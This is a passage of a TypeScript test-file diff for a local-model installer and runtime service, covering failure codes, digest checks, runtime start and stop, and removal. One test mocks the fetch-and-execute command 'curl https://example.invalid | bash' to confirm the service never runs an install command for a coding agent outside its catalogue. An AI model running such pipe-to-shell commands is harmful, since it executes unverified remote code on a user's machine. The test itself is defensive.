expect(h.deps.ensureLocalEndpoint).toHaveBeenCalledWith({ + port: 11435, + modelId: 'qwen3.6:35b-a3b', + context: 131072, + }); + expect(warn.mock.calls.flat().join(' ')).toContain('was put back'); + // The settings flag is not touched at boot: only the record. + expect(h.deps.connectLocalModel).not.toHaveBeenCalled(); + expect(h.supervisor.start).not.toHaveBeenCalled(); + }); + + it('writes no endpoint for an installation that never connected, nor for a job', async () => { + const { connection: _connection, ...unconnected } = INSTALLED; + for (const state of [unconnected, jobAt('connect', 'paused')]) { + const h = setup({ state }); + await h.service.boot(); + expect(h.deps.ensureLocalEndpoint).not.toHaveBeenCalled(); + } + }); + + it('does not start a runtime the person stopped', async () => { + const h = setup({ state: { ...INSTALLED, runtime: { ...INSTALLED.runtime!, enabled: false } } }); + await h.service.boot(); + expect(h.supervisor.start).not.toHaveBeenCalled(); + const view = await h.service.view(); + expect(view).toMatchObject({ state: 'installed', running: false, actions: ['start', 'remove'] }); + // A stopped runtime is not an error. + expect(view).not.toHaveProperty('error'); + }); + + it('a model whose digest changed: the state stays installed, the view says why, and no session is offered', async () => { + const h = setup({ state: INSTALLED }); + h.deps.readModelDigest.mockResolvedValue('ffff00000000'); + vi.spyOn(console, 'warn').mockImplementation(() => {}); + await h.service.boot(); + const view = await h.service.view(); + expect(view.state).toBe('installed'); + expect(view.error).toEqual({ + code: 'model-changed', + message: { text: 'The model on this Mac changed since it was installed. Remove it and install it again.' }, + next: 'remove', + }); + expect(view.actions).toEqual(['stop', 'remove']); + expect(h.store.get().state).toBe('installed'); + expect(h.store.get()).not.toHaveProperty('error'); + }); + + it('another program on the port: port-in-use on the view, "Use another port" as the next step', async () => { + const h = setup({ state: INSTALLED }); + h.world.startResult = { ok: false, code: 'port-in-use' }; + vi.spyOn(console, 'warn').mockImplementation(() => {}); + await h.service.boot(); + const view = await h.service.view(); + expect(view.error).toEqual({ + code: 'port-in-use', + message: { text: 'Port {port} is in use by another program.', vars: { port: '11435' } }, + next: 'other-port', + }); + expect(view.actions).toEqual(['start', 'remove']); + }); + + it('never throws, whatever the runtime does', async () => { + const h = setup({ state: INSTALLED }); + h.supervisor.start.mockRejectedValue(new Error('spawn EACCES')); + vi.spyOn(console, 'warn').mockImplementation(() => {}); + await expect(h.service.boot()).resolves.toBeUndefined(); + expect((await h.service.view()).running).toBe(false); + }); + + it('a new pid the supervisor reports after a crash and restart is stored', async () => { + const h = setup({ state: INSTALLED }); + h.service.onRuntimeChange({ running: true, pid: 6001, restarts: 1, gaveUp: false }); + await vi.waitFor(() => expect(h.store.get().runtime?.pid).toBe(6001)); + // A report without a pid, or with what is already stored, writes nothing. + const writes = h.store.history.length; + h.service.onRuntimeChange({ running: false, restarts: 3, gaveUp: true }); + h.service.onRuntimeChange({ running: true, pid: 6001, restarts: 1, gaveUp: false }); + await new Promise((resolve) => setImmediate(resolve)); + expect(h.store.history.length).toBe(writes); + }); +}); + +// ---------- Failures ---------- + +describe('every failure is a state with a code and a next step', () => { + async function failed(h: ReturnType<typeof setup>) { + vi.spyOn(console, 'warn').mockImplementation(() => {}); + await installAndWait(h.service); + const view = await h.service.view(); + expect(view.state).toBe('failed'); + expect(view.actions).toEqual(['resume', 'install', 'remove']); + return view; + } + + it('a damaged runtime download: runtime-damaged, try again', async () => { + const h = setup(); + h.deps.ensureRuntimeInstalled.mockResolvedValue({ + ok: false, + code: 'runtime-damaged', + detail: 'sha256 mismatch', + } as never); + const view = await failed(h); + expect(view.step).toBe('runtime'); + expect(view.error).toEqual({ + code: 'runtime-damaged', + message: { text: 'The runtime download was damaged and has been deleted. Try again.' }, + next: 'retry', + detail: 'sha256 mismatch', + }); + expect(h.supervisor.start).not.toHaveBeenCalled(); + }); + + it('no free port in the span: port-in-use with the first port, before a runtime is started', async () => { + const h = setup(); + h.deps.chooseRuntimePort.mockResolvedValue(undefined); + const view = await failed(h); + expect(view.error).toMatchObject({ code: 'port-in-use', next: 'other-port', message: { vars: { port: '11435' } } }); + expect(h.supervisor.start).not.toHaveBeenCalled(); + expect(view).not.toHaveProperty('port'); + }); + + it('another program on the chosen port: port-in-use with that port', async () => { + const h = setup(); + h.world.startResult = { ok: false, code: 'port-in-use', detail: 'answers but is not ours' }; + const view = await failed(h); + expect(view.step).toBe('runtime'); + expect(view.port).toBe(11435); + expect(view.error).toMatchObject({ code: 'port-in-use', next: 'other-port', message: { vars: { port: '11435' } } }); + }); + + it('a runtime that does not start: runtime-start-failed', async () => { + const h = setup(); + h.world.startResult = { ok: false, code: 'runtime-start-failed', detail: 'exited with code 1' }; + const view = await failed(h); + expect(view.error).toMatchObject({ code: 'runtime-start-failed', next: 'retry', detail: 'exited with code 1' }); + expect(h.deps.pullModel).not.toHaveBeenCalled(); + }); + + it('the measured budget rules the model out: does-not-fit BEFORE the model is downloaded, with the next model', async () => { + const h = setup(); + h.deps.modelFitsBudget.mockReturnValue(false); + const view = await failed(h); + expect(view.step).toBe('runtime'); + expect(view.error).toEqual({ + code: 'does-not-fit', + message: { + text: '{model} does not fit in the memory of this Mac after all.', + vars: { model: 'Qwen3.6 35B-A3B' }, + }, + next: 'next-model', + nextModel: { modelId: 'gpt-oss:20b', modelLabel: 'GPT-OSS 20B' }, + }); + expect(h.deps.pullModel).not.toHaveBeenCalled(); + // The next model was asked for with the measured budget, not the estimate. + expect(h.deps.recommend.mock.calls.at(-1)?.[3]).toEqual({ measuredTotalBytes: MEASURED, runtimeDownloadBytes: 0 }); + }); + + it('without a measured total (an adopted runtime printed nothing) the estimate stands and the job goes on', async () => { + const h = setup(); + h.world.measured = undefined; + h.deps.modelFitsBudget.mockReturnValue(false); + await installAndWait(h.service); + expect(h.deps.modelFitsBudget).not.toHaveBeenCalled(); + expect(h.store.get().state).toBe('installed'); + }); + + it('a pull that keeps failing: pull-failed with the runtime own last error', async () => { + const h = setup(); + h.deps.pullModel.mockResolvedValue({ ok: false, code: 'pull-failed', detail: 'tls: bad record MAC' } as never); + const view = await failed(h); + expect(view.step).toBe('model'); + expect(view.error).toEqual({ + code: 'pull-failed', + message: { text: LOCAL_MODEL_INSTALL_LABELS.errPullFailed }, + next: 'retry', + detail: 'tls: bad record MAC', + }); + }); + + it('a model the registry no longer has: model-not-found, and the next model to try', async () => { + const h = setup(); + h.deps.pullModel.mockResolvedValue({ ok: false, code: 'model-not-found' } as never); + const view = await failed(h); + expect(view.error).toMatchObject({ + code: 'model-not-found', + next: 'next-model', + message: { vars: { model: 'Qwen3.6 35B-A3B' } }, + nextModel: { modelId: 'gpt-oss:20b', modelLabel: 'GPT-OSS 20B' }, + }); + }); + + it('a full disk: disk-full', async () => { + const h = setup(); + h.deps.pullModel.mockResolvedValue({ ok: false, code: 'disk-full' } as never); + expect((await failed(h)).error).toMatchObject({ code: 'disk-full', next: 'retry' }); + }); + + it.each([ + ['load-failed', 'retry', false], + ['does-not-fit', 'next-model', true], + ['no-tool-call', 'next-model', true], + ['probe-unfinished', 'retry', false], + ] as const)('the check answers %s: next step %s', async (code, next, offersModel) => { + const h = setup(); + h.deps.verifyModel.mockResolvedValue({ ok: false, code, detail: 'detail' } as never); + const view = await failed(h); + expect(view.step).toBe('verify'); + expect(view.error).toMatchObject({ code, next, message: { vars: { model: 'Qwen3.6 35B-A3B' } }, detail: 'detail' }); + expect(view.error?.nextModel).toEqual( + offersModel ? { modelId: 'gpt-oss:20b', modelLabel: 'GPT-OSS 20B' } : undefined + ); + // Nothing after the check ran: no coding agent, no connection. + expect(h.deps.runInstallCommand).not.toHaveBeenCalled(); + expect(h.deps.connectLocalModel).not.toHaveBeenCalled(); + }); + + it('a model loaded at another context: the sentence carries what the runtime reports and what was chosen', async () => { + const h = setup(); + h.deps.verifyModel.mockResolvedValue({ ok: false, code: 'context-not-applied' } as never); + const view = await failed(h); + expect(view.error?.message).toEqual({ + text: '{model} loaded with a context of {actual} tokens instead of {wanted}.', + vars: { model: 'Qwen3.6 35B-A3B', actual: '32768', wanted: '131072' }, + }); + }); + + it('a model the runtime reports no digest for cannot be installed: there would be nothing to compare later', async () => { + const h = setup(); + h.deps.readModelDigest.mockResolvedValue(undefined); + const view = await failed(h); + expect(view.step).toBe('verify'); + expect(view.error).toMatchObject({ code: 'load-failed', detail: 'The runtime reports no digest for the model.' }); + }); + + it('a runtime that does not list the model for a coding agent: connect-failed, nothing written', async () => { + const h = setup(); + h.deps.listOpenAiModels.mockResolvedValue(['some-other:1b']); + const view = await failed(h); + expect(view.step).toBe('connect'); + expect(view.error).toMatchObject({ code: 'connect-failed', detail: 'The runtime does not list qwen3.6:35b-a3b.' }); + expect(h.deps.connectLocalModel).not.toHaveBeenCalled(); + }); + + it('a saved endpoint with our id that is not ours: endpoint-id-taken with the id', async () => { + const h = setup(); + h.deps.connectLocalModel.mockResolvedValue({ ok: false, code: 'endpoint-id-taken' } as never); + const view = await failed(h); + expect(view.error).toMatchObject({ + code: 'endpoint-id-taken', + next: 'retry', + message: { vars: { id: 'local-ollama' } }, + }); + expect(h.store.get()).not.toHaveProperty('connection'); + }); + + it('a refused write of the connection: connect-failed with the reason', async () => { + const h = setup(); + h.deps.connectLocalModel.mockResolvedValue({ + ok: false, + code: 'connect-failed', + detail: 'settings.json is not valid', + } as never); + expect((await failed(h)).error).toMatchObject({ code: 'connect-failed', detail: 'settings.json is not valid' }); + }); + + it('an exception in a step is the code internal with its text, never an unhandled rejection', async () => { + const h = setup(); + h.deps.pullModel.mockRejectedValue(new Error('socket exploded')); + const view = await failed(h); + expect(view.error).toEqual({ + code: 'internal', + message: { text: 'The install stopped on an unexpected error.' }, + next: 'retry', + detail: 'socket exploded', + }); + }); + + it('a failed job can be replaced by another choice, and the model it left is deleted before the new pull', async () => { + const h = setup(); + h.deps.verifyModel.mockResolvedValueOnce({ ok: false, code: 'no-tool-call' } as never); + await installAndWait(h.service); + expect(h.store.get().state).toBe('failed'); + h.calls.length = 0; + + // The runtime is on disk now, so the total is the model alone. + h.deps.recommend.mockImplementation(() => { + const rec = recommendation(); + for (const row of [rec.pick!, ...rec.alternatives]) row.installBytes = row.downloadBytes; + return rec; + }); + const result = await installAndWait(h.service, { + modelId: 'gpt-oss:20b', + cli: 'opencode', + context: 131072, + acknowledgedBytes: 13_793_441_427, + }); + expect(result.ok).toBe(true); + expect(h.store.get()).toMatchObject({ state: 'installed', model: { id: 'gpt-oss:20b' } }); + expect(h.deps.deleteModel).toHaveBeenCalledWith( + { baseUrl: 'http://127.0.0.1:11435' }, + 'qwen3.6:35b-a3b', + expect.anything() + ); + expect(h.calls.indexOf('deleteModel')).toBeLessThan(h.calls.indexOf('pullModel')); + expect(h.store.get()).not.toHaveProperty('replacedModelId'); + // The port was chosen once, by the first job. + expect(h.deps.chooseRuntimePort).toHaveBeenCalledTimes(1); + }); +}); + +// ---------- The coding agent ---------- + +describe('the coding agent step', () => { + it('forgets the cached lookups and looks for the binary again after the installer ran', async () => { + const h = setup(); + await installAndWait(h.service); + // Once before (a resumed job may find it), once after: the second is what a session start relies on. + expect(h.deps.recheckCliInstalled).toHaveBeenCalledTimes(2); + expect(h.deps.recheckCliInstalled).toHaveBeenCalledWith('opencode'); + const order = h.calls.filter((call) => call === 'recheckCliInstalled' || call === 'runInstallCommand'); + expect(order).toEqual(['recheckCliInstalled', 'runInstallCommand', 'recheckCliInstalled']); + }); + + it('runs exactly the stock command, with the job signal, inside the shared install slot', async () => { + const h = setup(); + await installAndWait(h.service); + expect(h.deps.stockInstallCommand).toHaveBeenCalledWith('opencode'); + expect(h.deps.tryBeginCliInstall).toHaveBeenCalledWith('opencode'); + expect(h.deps.runInstallCommand).toHaveBeenCalledTimes(1); + const [command, options] = h.deps.runInstallCommand.mock.calls[0] as unknown as [string, { signal: AbortSignal }]; + expect(command).toBe(INSTALL_COMMAND); + expect(options.signal).toBeInstanceOf(AbortSignal); + // The slot is given back. + expect(h.calls).toContain('release'); + }); + + it('an installer that ends well but leaves no binary is harness-failed: still missing is a failure', async () => { + const h = setup(); + h.deps.runInstallCommand.mockResolvedValue({ code: 0, output: '', timedOut: false, aborted: false }); + vi.spyOn(console, 'warn').mockImplementation(() => {}); + await installAndWait(h.service); + const view = await h.service.view(); + expect(view).toMatchObject({ state: 'failed', step: 'agent' }); + expect(view.error).toEqual({ + code: 'harness-failed', + message: { text: '{cli} could not be installed.', vars: { cli: 'OpenCode' } }, + next: 'retry', + detail: 'The installer finished, but the program was not found afterwards.', + }); + expect(h.deps.connectLocalModel).not.toHaveBeenCalled(); + }); + + it('an installer that fails is harness-failed with its last lines, and the caches are forgotten all the same', async () => { + const h = setup(); + h.deps.runInstallCommand.mockResolvedValue({ + code: 1, + output: `${'x'.repeat(2000)}\ncurl: (6) Could not resolve host`, + timedOut: false, + aborted: false, + }); + await installAndWait(h.service); + const view = await h.service.view(); + expect(view.error?.code).toBe('harness-failed'); + expect(view.error?.detail?.endsWith('curl: (6) Could not resolve host')).toBe(true); + expect(view.error?.detail?.length).toBeLessThanOrEqual(1000); + expect(h.deps.recheckCliInstalled).toHaveBeenCalledTimes(2); + expect(h.deps.audit).toHaveBeenCalledWith( + expect.objectContaining({ action: 'cli_install', detail: expect.objectContaining({ exitCode: 1 }) }) + ); + }); + + it('an installer that timed out says so', async () => { + const h = setup(); + h.deps.runInstallCommand.mockResolvedValue({ code: null, output: 'partial', timedOut: true, aborted: false }); + await installAndWait(h.service); + expect((await h.service.view()).error).toMatchObject({ + code: 'harness-failed', + detail: 'The installer was stopped after 300 seconds.', + }); + }); + + it('an installer that left the binary although it ended badly counts as installed', async () => { + const h = setup(); + h.deps.runInstallCommand.mockImplementation(async () => { + h.world.agentInstalled = true; + return { code: 1, output: 'could not edit .zshrc', timedOut: false, aborted: false }; + }); + await installAndWait(h.service); + expect(h.store.get().state).toBe('installed'); + }); + + it('while the registry route installs the same CLI the step fails instead of running a second installer', async () => { + const h = setup(); + h.deps.tryBeginCliInstall.mockReturnValue(null); + await installAndWait(h.service); + expect((await h.service.view()).error).toMatchObject({ + code: 'harness-failed', + detail: 'Another install of this coding agent is running.', + }); + expect(h.deps.runInstallCommand).not.toHaveBeenCalled(); + }); + + it('never runs a command for a CLI that is not a coding agent of the catalogue', async () => { + const state: LocalModelStateFile = { ...jobAt('agent', 'paused'), cli: { id: 'grok', label: 'Grok Build' } }; + const h = setup({ state }); + h.deps.stockInstallCommand.mockReturnValue('curl https://example.invalid | bash'); + await h.service.resume({}, ADMIN); + await h.service.idle(); + expect(h.store.get()).toMatchObject({ state: 'failed', error: { code: 'harness-failed' } }); + expect(h.deps.runInstallCommand).not.toHaveBeenCalled(); + expect(h.deps.tryBeginCliInstall).not.toHaveBeenCalled(); + }); + + it('the audit line names who resumed the job, not who started it', async () => { + const h = setup({ state: jobAt('agent', 'paused') }); + await h.service.resume({}, { username: 'second-admin', ip: '10.0.0.2' }); + await h.service.idle(); + expect(h.deps.audit).toHaveBeenCalledWith( + expect.objectContaining({ admin: 'second-admin', ip: '10.0.0.2', action: 'cli_install' }) + ); + }); +}); + +// ---------- The launch check ---------- + +describe('launchRefusal: the digest and the runtime decide whether a session starts', () => { + async function installed(overrides: Partial<LocalModelStateFile> = {}) { + const h = setup({ state: { ...INSTALLED, ...overrides } }); + await h.service.boot(); + return h; + } + + it('allows the launch while our runtime runs and the digest is the stored one', async () => { + const h = await installed(); + h.deps.readModelDigest.mockClear(); + expect(await h.service.launchRefusal('local-ollama')).toBeUndefined(); + // Read again for this launch, not taken from the last look. + expect(h.deps.readModelDigest).toHaveBeenCalledTimes(1); + expect(await h.service.launchRefusalMessage('local-ollama', 'qwen3.6:35b-a3b')).toBeUndefined(); + }); + + it('refuses a model whose digest is no longer the stored one, in one plain sentence', async () => { + const h = await installed(); + h.deps.readModelDigest.mockResolvedValue('1111222233334444'); + expect(await h.service.launchRefusal('local-ollama')).toEqual({ + code: 'model-changed', + message: { text: 'The model on this Mac changed since it was installed. Remove it and install it again.' }, + next: 'remove', + }); + expect(await h.service.launchRefusalMessage('local-ollama', 'qwen3.6:35b-a3b')).toBe( + 'The model on this Mac changed since it was installed. Remove it and install it again.' + ); + // And the window stops offering a session. + expect((await h.service.view()).actions).toEqual(['stop', 'remove']); + }); + + it('a digest with the sha256 prefix some listings add is the same digest', async () => { + const h = await installed(); + h.deps.readModelDigest.mockResolvedValue(`sha256:${DIGEST.toUpperCase()}`); + expect(await h.service.launchRefusal('local-ollama')).toBeUndefined(); + }); + + it('refuses while the runtime is stopped: whatever answers on the port then is not ours', async () => { + const h = setup({ state: { ...INSTALLED, runtime: { ...INSTALLED.runtime!, enabled: false } } }); + await h.service.boot(); + expect(await h.service.launchRefusal('local-ollama')).toEqual({ + code: 'runtime-not-running', + message: { text: 'The model on this Mac is not running. Start it first.' }, + next: 'start', + }); + expect(h.deps.readModelDigest).not.toHaveBeenCalled(); + }); + + it('names another program on the port, and a runtime that keeps stopping', async () => { + vi.spyOn(console, 'warn').mockImplementation(() => {}); + const taken = setup({ state: INSTALLED }); + taken.world.startResult = { ok: false, code: 'port-in-use' }; + await taken.service.boot(); + expect(await taken.service.launchRefusal('local-ollama')).toMatchObject({ + code: 'port-in-use', + message: { vars: { port: '11435' } }, + }); + + const crashing = setup({ state: INSTALLED }); + crashing.world.gaveUp = true; + expect(await crashing.service.launchRefusal('local-ollama')).toMatchObject({ + code: 'runtime-stopped', + next: 'start', + }); + }); + + it('a model that is gone from the runtime is a changed model; a runtime that stopped answering is not running', async () => { + const gone = await installed(); + gone.deps.readModelDigest.mockResolvedValue(undefined); + expect(await gone.service.launchRefusal('local-ollama')).toMatchObject({ code: 'model-changed' }); + + const silent = await installed(); + silent.deps.readModelDigest.mockResolvedValue(undefined); + silent.deps.getRuntimeVersion.mockResolvedValue(undefined); + expect(await silent.service.launchRefusal('local-ollama')).toMatchObject({ code: 'runtime-not-running' }); + }); + + it('is not asked about any other endpoint, nor about a record with our id that is not ours', async () => { + const h = await installed(); + h.deps.readModelDigest.mockResolvedValue('changed'); + expect(await h.service.launchRefusal('office-gpu')).toBeUndefined(); + expect(await h.service.launchRefusalMessage('office-gpu', 'anything')).toBeUndefined(); + + // Nothing installed: a hand-made endpoint with the reserved id is the person's own. + const none = setup(); + expect(await none.service.launchRefusal('local-ollama')).toBeUndefined(); + const { connection: _connection, ...unconnected } = INSTALLED; + const notOurs = setup({ state: unconnected }); + expect(await notOurs.service.launchRefusal('local-ollama')).toBeUndefined(); + }); + + it('only the model that was installed and checked may be started on the managed endpoint', async () => { + const h = await installed(); + expect(await h.service.launchRefusalMessage('local-ollama', 'someone-else:7b')).toBe( + 'Only Qwen3.6 35B-A3B is installed on this Mac. Remove it and install another model first.' + ); + }); + + it('never throws: a state that cannot be read refuses the launch', async () => { + const h = setup({ state: INSTALLED }); + vi.spyOn(console, 'warn').mockImplementation(() => {}); + await h.service.view(); + h.deps.readState = vi.fn(async () => { + throw new Error('EIO'); + }); + const broken = createLocalModelService({ ...(h.deps as unknown as Partial<LocalModelServiceDeps>) }); + expect(await broken.launchRefusal('local-ollama')).toMatchObject({ code: 'runtime-not-running' }); + }); + + it('the view re-reads the digest in the background at most every 30 seconds', async () => { + const h = await installed(); + h.deps.readModelDigest.mockClear(); + await h.service.view(); + await h.service.view(); + expect(h.deps.readModelDigest).not.toHaveBeenCalled(); + h.world.clock += 30_000; + h.deps.readModelDigest.mockResolvedValue('changed-under-us'); + await h.service.view(); + await vi.waitFor(async () => expect((await h.service.view()).error?.code).toBe('model-changed')); + expect(h.deps.readModelDigest).toHaveBeenCalledTimes(1); + }); +}); + +// ---------- The runtime verbs ---------- + +describe('the runtime verbs', () => { + it('Stop stops the child and keeps it from starting at the next boot; Start undoes that', async () => { + const h = setup({ state: INSTALLED }); + await h.service.boot(); + const stopped = await h.service.runtime({ action: 'stop' }); + expect(stopped.ok && stopped.view).toMatchObject({ + state: 'installed', + running: false, + actions: ['start', 'remove'], + }); + expect(h.supervisor.stop).toHaveBeenCalledTimes(1); + expect(h.store.get().runtime?.enabled).toBe(false); + + // The next server process does not start it. + const next = setup({ state: h.store.get() }); + await next.service.boot(); + expect(next.supervisor.start).not.toHaveBeenCalled(); + + const started = await h.service.runtime({ action: 'start' }); + expect(started.ok && started.view).toMatchObject({ running: true, actions: ['start-session', 'stop', 'remove'] }); + expect(h.store.get().runtime?.enabled).toBe(true); + }); + + it('Start reads the digest again', async () => { + const h = setup({ state: { ...INSTALLED, runtime: { ...INSTALLED.runtime!, enabled: false } } }); + h.deps.readModelDigest.mockResolvedValue('not-the-stored-one'); + const started = await h.service.runtime({ action: 'start' }); + expect(started.ok && started.view.error?.code).toBe('model-changed'); + }); + + it('"Use another port": a port that is not the old one, and the saved endpoint moves with it', async () => { + const h = setup({ state: INSTALLED }); + h.world.startResult = { ok: false, code: 'port-in-use' }; + vi.spyOn(console, 'warn').mockImplementation(() => {}); + await h.service.boot(); + expect((await h.service.view()).error?.code).toBe('port-in-use'); + + h.world.startResult = undefined; + h.deps.chooseRuntimePort.mockResolvedValue(11437); + const result = await h.service.runtime({ action: 'start', newPort: true }); + expect(h.deps.chooseRuntimePort).toHaveBeenCalledWith({ avoid: [11435] }); + expect(h.deps.moveLocalEndpoint).toHaveBeenCalledWith(11437); + expect(h.supervisor.start).toHaveBeenLastCalledWith({ port: 11437, contextLength: 131072 }); + expect(result.ok && result.view).toMatchObject({ port: 11437, running: true }); + expect(result.ok && result.view.error).toBeUndefined(); + expect(h.store.get().runtime).toMatchObject({ port: 11437, enabled: true }); + }); + + it('a refused write of the saved endpoint leaves the old port in the state: the two never disagree', async () => { + const h = setup({ state: INSTALLED }); + h.deps.chooseRuntimePort.mockResolvedValue(11437); + h.deps.moveLocalEndpoint.mockRejectedValue(new Error('custom-model-hosts.json is not a valid JSON list')); + await expect(h.service.runtime({ action: 'start', newPort: true })).rejects.toThrow('custom-model-hosts.json'); + expect(h.store.get().runtime?.port).toBe(11435); + expect(h.supervisor.start).not.toHaveBeenCalled(); + }); + + it('when no other port is free the old one is kept and the error stays', async () => { + const h = setup({ state: INSTALLED }); + h.world.startResult = { ok: false, code: 'port-in-use' }; + vi.spyOn(console, 'warn').mockImplementation(() => {}); + await h.service.boot(); + h.deps.chooseRuntimePort.mockResolvedValue(undefined); + const result = await h.service.runtime({ action: 'start', newPort: true }); + expect(h.deps.moveLocalEndpoint).not.toHaveBeenCalled(); + expect(result.ok && result.view).toMatchObject({ port: 11435, running: false, error: { code: 'port-in-use' } }); + }); +}); + +// ---------- Remove ---------- + +describe('Remove', () => { + it('while a live session uses the model: 409 with the session names, and nothing is touched', async () => { + const h = setup({ state: INSTALLED }); + await h.service.boot(); + const result = await h.service.remove({ removeModel: true }, ['w1-app', 'w4-lib']); + expect(result).toEqual({ + ok: false, + status: 409, + conflict: { + reason: 'sessions-open', + message: { text: LOCAL_MODEL_INSTALL_LABELS.conflictSessionsOpen, vars: { sessions: 'w1-app, w4-lib' } }, + sessions: ['w1-app', 'w4-lib'], + }, + }); + expect(h.supervisor.stop).not.toHaveBeenCalled(); + expect(h.deps.disconnectLocalModel).not.toHaveBeenCalled(); + expect(h.deps.removeLocalModelFiles).not.toHaveBeenCalled(); + expect(h.store.get().state).toBe('installed'); + expect((await h.service.view()).running).toBe(true); + }); + + it('without one: stops the child, undoes the connection, deletes the files, and is idle again', async () => { + const h = setup({ state: INSTALLED, runtimeOnDisk: true }); + await h.service.boot(); + h.calls.length = 0; + const result = await h.service.remove({}, [], ADMIN); + expect(h.calls).toEqual(['supervisor.stop', 'disconnectLocalModel', 'removeLocalModelFiles']); + expect(h.deps.disconnectLocalModel).toHaveBeenCalledWith({ flagWasEnabled: false }); + // The model stays unless it was asked to go. + expect(h.deps.removeLocalModelFiles).toHaveBeenCalledWith({ models: false, paths: PATHS }); + expect(result.ok && result.view).toEqual({ + state: 'idle', + running: false, + developerTools: 'missing', + runtime: { + version: '0.40.15', + installed: false, + downloadBytes: RUNTIME_BYTES, + downloadGb: '0.2', + unpackedGb: '0.6', + }, + folder: '/data/local-model', + actions: ['install'], + }); + expect(h.store.get()).toMatchObject({ schema: 1, state: 'idle' }); + for (const key of ['model', 'cli', 'runtime', 'connection', 'loaded']) + expect(h.store.get()).not.toHaveProperty(key); + expect(h.deps.audit).toHaveBeenCalledWith({ + admin: 'root', + action: 'local_model_remove', + target: 'qwen3.6:35b-a3b', + ip: '127.0.0.1', + detail: { removeModel: false }, + }); + }); + + it('removeModel deletes the downloaded model too', async () => { + const h = setup({ state: INSTALLED }); + await h.service.remove({ removeModel: true }, []); + expect(h.deps.removeLocalModelFiles).toHaveBeenCalledWith({ models: true, paths: PATHS }); + }); + + it('hands the flag value from before this feature to the disconnect', async () => { + const h = setup({ state: { ...INSTALLED, connection: { endpointId: 'local-ollama', flagWasEnabled: true } } }); + await h.service.remove({}, []); + expect(h.deps.disconnectLocalModel).toHaveBeenCalledWith({ flagWasEnabled: true }); + }); + + it('a paused or failed job has no connection to undo: the files go, sessions on some other endpoint do not matter', async () => { + const h = setup({ state: jobAt('model', 'paused') }); + // The names belong to sessions on an endpoint a person made with our id; it is not ours. + const result = await h.service.remove({ removeModel: true }, ['w1-app']); + expect(result.ok).toBe(true); + expect(h.deps.disconnectLocalModel).not.toHaveBeenCalled(); + expect(h.deps.removeLocalModelFiles).toHaveBeenCalledWith({ models: true, paths: PATHS }); + expect(h.store.get().state).toBe('idle'); + }); + + it('a connection that cannot be undone stops the removal before any file is deleted', async () => { + const h = setup({ state: INSTALLED }); + h.deps.disconnectLocalModel.mockRejectedValue(new Error('custom-model-hosts.json is not a valid JSON list')); + await expect(h.service.remove({ removeModel: true }, [])).rejects.toThrow('custom-model-hosts.json'); + expect(h.deps.removeLocalModelFiles).not.toHaveBeenCalled(); + expect(h.store.get().state).toBe('installed'); + // The service still answers afterwards. + expect((await h.service.view()).state).toBe('installed'); + }); + + it('the coding agent stays: nothing of it is asked for, run or removed', async () => { + const h = setup({ state: INSTALLED }); + await h.service.remove({ removeModel: true }, []); + expect(h.deps.runInstallCommand).not.toHaveBeenCalled(); + expect(h.deps.stockInstallCommand).not.toHaveBeenCalled(); + expect(h.deps.recheckCliInstalled).not.toHaveBeenCalled(); + }); + + it('after a remove the model can be installed again', async () => { + const h = setup({ state: INSTALLED, agentInstalled: true }); + await h.service.remove({}, []); + await installAndWait(h.service); + expect(h.store.get().state).toBe('installed'); + }); +}); + +// ---------- Remove and the real connection files ---------- + +describe('Remove with the real connection: the settings flag', () => { + const HOSTS = () => customModelHostsPath(getDataDir()); + const OTHER: CustomModelHost = { id: 'office-gpu', label: 'Office GPU', baseUrl: 'http://192.168.1.50:8080' }; + + function writeSettings(settings: Record<string, unknown>): void { + mkdirSync(dirname(SETTINGS_PATH), { recursive: true }); + writeFileSync(SETTINGS_PATH, JSON.stringify(settings)); + } + const flag = (): unknown => JSON.parse(readFileSync(SETTINGS_PATH, 'utf8')).customModelEndpointsEnabled; + + afterEach(() => { + rmSync(HOSTS(), { force: true }); + rmSync(SETTINGS_PATH, { force: true }); + }); + + /** Installs with the real connect step, then removes with the real disconnect. */ + async function installThenRemove() { + const h = setup({ agentInstalled: true, overrides: { connectLocalModel, disconnectLocalModel } }); + await installAndWait(h.service); + expect(h.store.get().state).toBe('installed'); + expect(flag()).toBe(true); + expect((await readCustomModelHosts(getDataDir())).map((host) => host.id)).toContain('local-ollama'); + const removed = await h.service.remove({}, []); + expect(removed.ok).toBe(true); + expect((await readCustomModelHosts(getDataDir())).map((host) => host.id)).not.toContain('local-ollama'); + return h; + } + + it('this feature switched it on and no other endpoint is saved: it is switched off again', async () => { + writeSettings({ customModelEndpointsEnabled: false, tmuxHistoryLimit: 5000 }); + await installThenRemove(); + expect(flag()).toBe(false); + expect(JSON.parse(readFileSync(SETTINGS_PATH, 'utf8')).tmuxHistoryLimit).toBe(5000); + }); + + it('it was on before this feature: it stays on', async () => { + writeSettings({ customModelEndpointsEnabled: true }); + await installThenRemove(); + expect(flag()).toBe(true); + }); + + it('this feature switched it on but another endpoint is saved: it stays on, and that endpoint is untouched', async () => { + writeSettings({}); + writeFileSync(HOSTS(), JSON.stringify([OTHER])); + await installThenRemove(); + expect(flag()).toBe(true); + expect(await readCustomModelHosts(getDataDir())).toEqual([OTHER]); + }); + + it('a resumed connect step does not forget that the flag was off before', async () => { + writeSettings({ customModelEndpointsEnabled: false }); + const h = setup({ agentInstalled: true, overrides: { connectLocalModel, disconnectLocalModel } }); + await installAndWait(h.service); + // The connection is written a second time, as a resumed job would: the flag is on by now. + const again = await connectLocalModel({ + port: 11435, + modelId: 'qwen3.6:35b-a3b', + context: 131072, + ours: true, + flagWasEnabled: h.store.get().connection!.flagWasEnabled, + }); + expect(again).toEqual({ ok: true, flagWasEnabled: false }); + await h.service.remove({}, []); + expect(flag()).toBe(false); + }); +}); + +// ---------- The view never throws ---------- + +describe('view()', () => { + it('answers an idle view when a dependency throws', async () => { + const h = setup(); + h.deps.checkDeveloperTools.mockRejectedValue(new Error('spawn failed')); + h.deps.isRuntimeInstalled.mockRejectedValue(new Error('EACCES')); + expect(await h.service.view()).toMatchObject({ + state: 'idle', + developerTools: 'unknown', + runtime: { installed: false, downloadBytes: RUNTIME_BYTES }, + actions: ['install'], + }); + }); + + it('answers the bare idle view when the state itself cannot be read', async () => { + vi.spyOn(console, 'warn').mockImplementation(() => {}); + const service = createLocalModelService({ + ...(setup().deps as unknown as Partial<LocalModelServiceDeps>), + readState: async () => { + throw new Error('EIO'); + }, + }); + expect(await service.view()).toMatchObject({ state: 'idle', running: false, actions: ['install'] }); + }); + + it('computes a download speed for the runtime archive, which reports bytes only', async () => { + let report: (p: { completedBytes: number; totalBytes: number }) => void = () => {}; + const h = setup({ + overrides: { + ensureRuntimeInstalled: 